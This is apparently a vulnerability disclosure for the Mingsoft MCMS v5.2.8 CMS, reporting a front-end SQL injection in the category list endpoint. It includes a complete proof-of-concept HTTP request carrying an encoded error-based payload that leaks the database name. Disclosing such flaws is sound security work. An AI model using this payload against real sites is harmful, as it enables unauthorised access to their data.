Mingsoft MCMS v5.2.8 查询分类列表接口存在SQL注入【前台】

# 漏洞效果
![输入图片说明](https://foruda.gitee.com/images/1668737490341748698/383bd788_8686450.png "屏幕截图")
POC：
```
POST /cms/category/list? HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua: "-Not.A/Brand";v="8", "Chromium";v="102"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 465

sqlWhere=%5b%7b%22%61%63%74%69%6f%6e%22%3a%22%22%2c%22%66%69%65%6c%64%22%3a%22%65%78%74%72%61%63%74%76%61%6c%75%65%28%30%78%37%65%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%64%61%74%61%62%61%73%65%28%29%29%29%29%22%2c%22%65%6c%22%3a%22%65%71%22%2c%22%6d%6f%64%65%6c%22%3a%22%63%6f%6e%74%65%6e%74%54%69%74%6c%65%22%2c%22%6e%61%6d%65%22%3a%22%e6%96%87%e7%ab%a0%e6%a0%87%e9%a2%98%22%2c%22%74%79%70%65%22%3a%22%69%6e%70%75%74%22%2c%22%76%61%6c%75%65%22%3a%22%61%22%7d%5d
```
后台日志：
![输入图片说明](https://foruda.gitee.com/images/1668737529460463308/e60b9534_8686450.png "屏幕截图")
# 漏洞原理
参考 https://gitee.com/mingSoft/MCMS/issues/I5X1U2
![输入图片说明](https://foruda.gitee.com/images/1668737568483470233/d07f22ac_8686450.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1668737589293595194/c2dec6ba_8686450.png "屏幕截图")

GVP 铭飞/MCMS

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GVP铭飞/MCMS

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